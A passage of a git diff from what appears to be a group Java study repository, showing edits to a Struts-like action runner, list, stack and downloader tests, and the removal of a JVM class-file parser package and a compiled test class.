+    	File aFile = new File(fileName);
     	SAXReader xmlReader = new SAXReader();
     	doc = xmlReader.read(aFile);
     }
@@ -162,16 +161,13 @@ private static void generateObject(String actionName)
 	}
     
     
-    public static void main(String args[]) throws Exception
+    public static void main(String args[]) throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException
     {
-//    	Map<String,String> params = new HashMap<String,String>();
-//        params.put("name","test");
-//        params.put("password","1234");
-//    	View view = runAction("login", params);
-//    	logger.info(view.toString());
-        System.out.println(Struts.class.getResource(""));
-        System.out.println(Struts.class.getResource("/"));
-        System.out.println(Struts.class.getClassLoader().getResource(""));
+    	Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+    	View view = runAction("login", params);
+    	logger.info(view.toString());
     }
     
 }
diff --git a/group02/812350401/src/main/resources/struts/struts.xml b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/struts.xml
similarity index 100%
rename from group02/812350401/src/main/resources/struts/struts.xml
rename to group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/litestruts/struts.xml
diff --git a/group02/812350401/src/main/resources/jvm/com/github/miniyk2012/coding2017/jvm/test/EmployeeV1.class b/group02/812350401/src/main/resources/jvm/com/github/miniyk2012/coding2017/jvm/test/EmployeeV1.class
deleted file mode 100644
index c6c3c4a41546ae14b237a06a8f0868a61dc42cf5..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 1056
zcmah|?M@Rx6g^W)Kb93rYikjZ1yTEftSIUa3<)tBNGh6Onh<{tWrEx6cAM^&q>rTu
zkZ9rq_)x|((;~rQ%x-4yow@hibI!Cse|`G_U=uIWNC>R7!oY2X$ExQ=UgyMZp9XHM
zqS$>Cbp3FkRC6PZq(H7MPo?Wimb^b|t5z(K?8ra~<QrE<2XT)eTLKgEghygeAoa@Y
zc=5JCsWM);S8WpKHOE_+z%3hDOtZOCZDzrlHYSnMQQk%x8G)IG*HQcZ;7Ij8$|K)Q
z4_nf2%ATk5(PlFK>_q~rjsJ@y*L0-feIuoK14Yd+#flv*C|NO#Gm#wZD&G&YSj18q
z_pbSKFo<Fm*l@5+En%Nl6^GKj(EUJzV%nr+u$94mfh7avtT~#q!?)$jC~_|CcPu=>
zqck206pYW;F>F*&ri8AB^*dx3NROXV<<q#^)n*23EZONC4=lR6uKl)j^u)%zc0MV4
zCp4~bLo;u)D_|Xj{a#DG^|bdhmn54T>zW&u2{pkVSAq|3&P2R7ekXatSzM=>9r9e)
z&D1Vn*Xm~s7S1sH#WWPS=8@!@<!W)A!Zd8$=8iLLLlGrr1TbTSiS(cZ2i!q<G-lfn
z0a9kf6}rX!VQ<c$mQ0@dgPIzl3e4f|7}oqXrbDbeI|~26(!6M%Hh6^f((t6duUN>h
zoMZKGYDKn`44lmtZNyM;7FE<nAn$07mNEMs;xJ#&EneVpqkaze3T)cARi<}y$Z@`Q
XaHw?_8+gi0|G}PdPxISkp1||pV??%j

diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java
index 102a002754..87a8cdddb3 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/ListTest.java
@@ -14,7 +14,6 @@ public class ListTest {
 	
 	@Test
 	public void testFunctional() {
-		if (getClass() == ListTest.class) return;
 		aList.add(1);
 		aList.add(2);
 		assertEquals(1, aList.get(0));
@@ -39,7 +38,6 @@ public void testFunctional() {
 	
 	@Test
 	public void testAdd() {
-		if (getClass() == ListTest.class) return;
 		for (int i=0; i<100; i++)
 			aList.add(i);
 		assertEquals(0, aList.get(0));
@@ -49,7 +47,6 @@ public void testAdd() {
 	
 	@Test
 	public void testRemove() {
-		if (getClass() == ListTest.class) return;
 		aList.add(1);
 		aList.add(2);
 		aList.add(3);
@@ -73,7 +70,6 @@ public void testRemove() {
 	
 	@Test
 	public void testSize() {
-		if (getClass() == ListTest.class) return;
 		for (int i=0; i<10; i++)
 			aList.add(i*2);
 		assertEquals(10, aList.size());
@@ -84,7 +80,6 @@ public void testSize() {
 	
 	@Test
 	public void testException() {
-		if (getClass() == ListTest.class) return;
 		expectedEx.expect(Exception.class);
 		
 		aList.remove(1);
@@ -94,7 +89,6 @@ public void testException() {
 	
 	@Test
 	public void testIterator() {
-		if (getClass() == ListTest.class) return;
 		Iterator it = aList.iterator();
 		assertEquals(false, it.hasNext());
 		
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/StackTest.java
similarity index 86%
rename from group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackTest.java
rename to group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/StackTest.java
index 86f45b6f05..9fdde63598 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/StackTest.java
@@ -1,10 +1,12 @@
-package com.github.miniyk2012.coding2017.basic.stack;
+package com.github.miniyk2012.coding2017.basic;
 
 import static org.junit.Assert.*;
 
 import org.junit.Before;
 import org.junit.Test;
 
+import com.github.miniyk2012.coding2017.basic.Stack;
+
 public class StackTest {
 
 	private Stack stack;
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackUtilTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackUtilTest.java
deleted file mode 100644
index 62f3b3f281..0000000000
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/basic/stack/StackUtilTest.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package com.github.miniyk2012.coding2017.basic.stack;
-
-import org.junit.Test; 
-import org.junit.Before; 
-import org.junit.After;
-import static junit.framework.TestCase.assertEquals;
-import static junit.framework.TestCase.assertNull;
-import static org.junit.Assert.assertArrayEquals;
-
-/** 
-* StackUtil Tester. 
-* 
-* @author <Authors name> 
-* @since <pre>Apr 6, 2017</pre> 
-* @version 1.0 
-*/
-public class StackUtilTest {
-
-    private StackUtil sk;
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testReverse() {
-        sk = new StackUtil();
-        Stack stack = new Stack();
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        sk.reverse(stack);
-        assertEquals(1, stack.pop());
-        assertEquals(2, stack.pop());
-        assertEquals(3, stack.pop());
-    }
-    @Test
-    public void testRemove() {
-        sk = new StackUtil();
-        Stack stack = new Stack();
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        stack.push(2);
-        stack.push(5);
-        sk.remove(stack, 2);
-        assertEquals(5, stack.pop());
-        assertEquals(3, stack.pop());
-        assertEquals(2, stack.pop());
-        assertEquals(1, stack.pop());
-    }
-    @Test
-    public void testGetTop() {
-        sk = new StackUtil();
-        Stack stack = new Stack();
-
-        Object[] array = sk.getTop(stack, 3);
-        assertArrayEquals(array, new Object[0]);
-
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        stack.push(2);
-        stack.push(5);
-        array = sk.getTop(stack, 3);
-        assertArrayEquals(array, new Object[] {5, 2, 3});
-        array = sk.getTop(stack, 6);
-        assertArrayEquals(new Object[] {5, 2, 3, 2, 1}, array);
-        array = sk.getTop(stack, -1);
-        assertNull(array);
-    }
-    @Test
-    public void testIsValidPairs() {
-        sk = new StackUtil();
-        String expr = "";
-        assertEquals(true, sk.isValidPairs(expr));
-        expr = "{xx[])yyza]}";
-        assertEquals(false, sk.isValidPairs(expr));
-        expr = "asd{[(asds)]sx}";
-        assertEquals(true, sk.isValidPairs(expr));
-    }
-
-}
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java
index 0b5276fda5..501326dae0 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/download/FileDownloaderTest.java
@@ -3,7 +3,9 @@
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
+
 import com.github.miniyk2012.coding2017.coderising.download.api.ConnectionManager;
+import com.github.miniyk2012.coding2017.coderising.download.api.DownloadListener;
 import com.github.miniyk2012.coding2017.coderising.download.impl.ConnectionManagerImpl;
 
 public class FileDownloaderTest {
@@ -22,12 +24,17 @@ public void testDownload() {
 		
 		String url = "http://inews.gtimg.com/newsapp_bt/0/1209438116/1000";
 //		String url = "https://www.baidu.com/img/bd_logo.png";
-		String filePath = "src/main/resources/downloads/test.png";
-        FileDownloader downloader = new FileDownloader(url, filePath);
+
+		FileDownloader downloader = new FileDownloader(url, "test.png");
 	
 		ConnectionManager cm = new ConnectionManagerImpl();
 		downloader.setConnectionManager(cm);
-		downloader.setListener(() -> downloadFinished = true);
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+		});
 		
 		downloader.execute();
 		
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParserTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParserTest.java
deleted file mode 100644
index 6aa66225b7..0000000000
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParserTest.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.loader;
-
-import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
-import com.github.miniyk2012.coding2017.coderising.jvm.constant.UTF8Info;
-import com.github.miniyk2012.coding2017.coderising.jvm.test.ClassFileloaderTest;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-import static org.junit.Assert.*;
-
-/**
- * Created by thomas_young on 9/4/2017.
- */
-public class ClassFileParserTest {
-    private static ClassFileParser parser;
-    private static byte[] byteCodes;
-
-    @BeforeClass
-    public static void setUp() {
-        String path = ClassFileloaderTest.class.getClassLoader().getResource("jvm").getPath();
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path);
-        String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
-        byteCodes = loader.readBinaryCode(className);
-        parser = new ClassFileParser();
-    }
-
-    @Test
-    public void parse() throws Exception {
-
-    }
-
-    @Test
-    public void parseAccessFlag() throws Exception {
-
-    }
-
-    @Test
-    public void parseClassInfex() throws Exception {
-
-    }
-
-    @Test
-    public void parseConstantPool() throws Exception {
-        ByteCodeIterator byteCodeIterator = new ByteCodeIterator(byteCodes);
-        byteCodeIterator.skip(8);  // skip magic,minor_version,major_version
-        ConstantPool constantPool = parser.parseConstantPool(byteCodeIterator);
-        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(5);
-        assertEquals("name", utf8Info.getValue());
-    }
-
-}
\ No newline at end of file
diff --git a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java
index f183d9a778..15e569a766 100644
--- a/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java
+++ b/group02/812350401/src/test/java/com/github/miniyk2012/coding2017/coderising/litestruts/StrutsTest.java
@@ -13,7 +13,7 @@
 public class StrutsTest {
 
 	@Test
-	public void testLoginActionSuccess() throws Exception {
+	public void testLoginActionSuccess() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
 		
 		String actionName = "login";
         
@@ -29,7 +29,7 @@ public void testLoginActionSuccess() throws Exception {
 	}
 
 	@Test
-	public void testLoginActionFailed() throws Exception {
+	public void testLoginActionFailed() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
 		String actionName = "login";
 		Map<String,String> params = new HashMap<String,String>();
         params.put("name","test");
@@ -42,7 +42,7 @@ public void testLoginActionFailed() throws Exception {
 	}
 	
 	@Test
-	public void testLogoutActionSuccess() throws Exception {
+	public void testLogoutActionSuccess() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
 		
 		String actionName = "logout";
         
@@ -58,7 +58,7 @@ public void testLogoutActionSuccess() throws Exception {
 	}
 	
 	@Test
-	public void testLogoutActionFailed() throws Exception {
+	public void testLogoutActionFailed() throws DocumentException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IntrospectionException {
 		String actionName = "logout";
 		Map<String,String> params = new HashMap<String,String>();
         params.put("name","test");
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/AttributeInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index a1369ab554..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.exception.AddAnotherParserException;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public abstract class AttributeInfo {
-	
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	
-	int attrNameIndex;				
-	int attrLen ;
-	
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	/**
-	 * 解析属性
-	 * @param pool
-	 * @param iter
-	 * @return
-	 */
-	public static List<AttributeInfo>  parseAttributes(ConstantPool pool,ByteCodeIterator iter){
-		
-		List<AttributeInfo> attributeInfos = new ArrayList<AttributeInfo>();
-		try {
-			
-			int attrCount = iter.nextU2ToInt();		
-			for (int i = 0; i < attrCount; i++) {
-				
-				AttributeInfo attr = null;
-				String attrName = pool.getUTF8String(iter.nextU2ToInt());
-				iter.back(ByteCodeIterator.numberTwo);
-				
-				switch (attrName) {
-				case AttributeInfo.CONST_VALUE:				
-					attr = ConstantValueAttr.parse(iter);
-					break;
-				case AttributeInfo.CODE:				
-					attr = CodeAttr.parse(pool,iter);
-					break;
-				case AttributeInfo.EXCEPTIONS:				
-					//TODE
-					break;
-				case AttributeInfo.LINE_NUM_TABLE:				
-					attr = LineNumberTable.parse(iter);
-					break;
-				case AttributeInfo.LOCAL_VAR_TABLE:				
-					attr = LocalVariableTable.parse(iter);
-					break;
-				case AttributeInfo.STACK_MAP_TABLE:				
-					attr = StackMapTable.parse(iter);
-					break;
-				default:
-					throw new AddAnotherParserException();
-				}
-				attributeInfos.add(attr);
-			
-			}
-		} catch (AddAnotherParserException e) {
-			e.printStackTrace();
-		}
-		return attributeInfos;
-	} 
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/CodeAttr.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index 64e6226561..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,103 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class CodeAttr extends AttributeInfo {
-		
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	private ByteCodeCommand[] cmds ;	
-	private List<AttributeInfo> attributeInfos = new ArrayList<>();
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-	
-		
-	public static CodeAttr parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		int maxStack = iter.nextU2ToInt();
-		int maxLocals = iter.nextU2ToInt();
-		int codeLen = iter.nextU4ToInt();		
-		String code = iter.nextUxToHexString(codeLen);
-		ByteCodeCommand[] cmds = CommandParser.parse(pool.getClzFile(),code);
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code,cmds);
-		
-		//解析exception_table start TODO
-		@SuppressWarnings("unused")
-		int exceptionTabLen = iter.nextU2ToInt();
-		//System.out.println("exception_table 的个数为"+exceptionTabLen);
-		//解析exception_table end  TODO
-		
-		codeAttr.setAttributeInfos(AttributeInfo.parseAttributes(pool, iter));
-		
-		return codeAttr;
-	}
-
-	public ByteCodeCommand[] getCmds() {		
-		return cmds;
-	}
-
-	public int getMaxStack() {
-		return maxStack;
-	}
-
-
-	public void setMaxStack(int maxStack) {
-		this.maxStack = maxStack;
-	}
-
-
-	public int getMaxLocals() {
-		return maxLocals;
-	}
-
-
-	public void setMaxLocals(int maxLocals) {
-		this.maxLocals = maxLocals;
-	}
-
-
-	public int getCodeLen() {
-		return codeLen;
-	}
-
-
-	public void setCodeLen(int codeLen) {
-		this.codeLen = codeLen;
-	}
-
-
-	public String getCode() {
-		return code;
-	}
-
-
-	public void setCode(String code) {
-		this.code = code;
-	}
-	
-	public List<AttributeInfo> getAttributeInfos() {
-		return attributeInfos;
-	}
-
-
-	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
-		this.attributeInfos = attributeInfos;
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/ConstantValueAttr.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/ConstantValueAttr.java
deleted file mode 100644
index 697b484657..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/ConstantValueAttr.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class ConstantValueAttr extends AttributeInfo{
-
-	private int constantValueIndex;
-		
-	public int getConstantValueIndex() {
-		return constantValueIndex;
-	}
-
-	public void setConstantValueIndex(int constantValueIndex) {
-		this.constantValueIndex = constantValueIndex;
-	}
-
-	public ConstantValueAttr(int attrNameIndex, int attrLen,int constantValueIndex) {
-		super(attrNameIndex, attrLen);
-		this.constantValueIndex = constantValueIndex;
-	}
-
-	public static ConstantValueAttr parse(ByteCodeIterator iter){
-		
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		int constantValueIndex = iter.nextU2ToInt();
-		return new ConstantValueAttr(attrNameIndex,attrLen,constantValueIndex);
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LineNumberTable.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 6029bf4253..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-@SuppressWarnings("unused")
-public class LineNumberTable extends AttributeInfo {
-	
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;		
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		int nameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();		
-		LineNumberTable lineNumberTable = new LineNumberTable(nameIndex,attrLen);
-		
-		int tableLen = iter.nextU2ToInt();
-		
-		for (int i = 0; i < tableLen; i++) {
-			
-			int startPC = iter.nextU2ToInt();
-			int lineNum = iter.nextU2ToInt();
-			
-			LineNumberItem item = new LineNumberItem();
-			item.setLineNum(startPC);
-			item.setLineNum(lineNum);	
-			
-			lineNumberTable.addLineNumberItem(item);
-		}
-		
-		return lineNumberTable;
-	}
-
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableItem.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index c7209a435e..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableTable.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 463b110458..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		int nameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		LocalVariableTable localVariableTable = new LocalVariableTable(nameIndex,attrLen);
-		
-		int tableLen = iter.nextU2ToInt();
-		
-		for (int i = 0; i < tableLen; i++) {
-			
-			int startPC = iter.nextU2ToInt();
-			int len = iter.nextU2ToInt();
-			int nameindex = iter.nextU2ToInt();
-			int descrIndex = iter.nextU2ToInt();
-			int index = iter.nextU2ToInt();
-			
-			LocalVariableItem item = new LocalVariableItem();
-			item.setStartPC(startPC);
-			item.setNameIndex(nameindex);
-			item.setLength(len);
-			item.setDescIndex(descrIndex);
-			item.setIndex(index);
-			localVariableTable.addLocalVariableItem(item);
-		}
-		return localVariableTable;
-	}
-			
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/StackMapTable.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 033b6bb179..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		
-		int nameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		StackMapTable t = null;
-		t = new StackMapTable(nameIndex,attrLen);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(attrLen);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-	
-	
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-		
-	public String getOriginalCode() {
-		return originalCode;
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/AccessFlag.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index 5abd9961ac..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}	
-}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassFile.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index 534bc36cba..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,120 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-    public Method getMethod(String methodName, String paramAndReturnType){
-		
-		for(Method m :methods){
-			
-			int nameIndex = m.getNameIndex();
-			int descriptionIndex = m.getDescriptorIndex();
-			
-			String name = this.getConstantPool().getUTF8String(nameIndex);
-			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
-			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
-				return m;
-			}
-		}
-		return null;
-	}
-    
-    public Method getMainMethod(){
-		for(Method m :methods){
-			int nameIndex = m.getNameIndex();
-			int descIndex = m.getDescriptorIndex();
-			String name = this.getConstantPool().getUTF8String(nameIndex);
-			String desc = this.getConstantPool().getUTF8String(descIndex);
-			if(name.equals("main")  && desc.equals("([Ljava/lang/String;)V")){
-				return m;
-			}
-		}
-		return null;
-	}
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	public String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	public String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassIndex.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index 7750d4439d..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
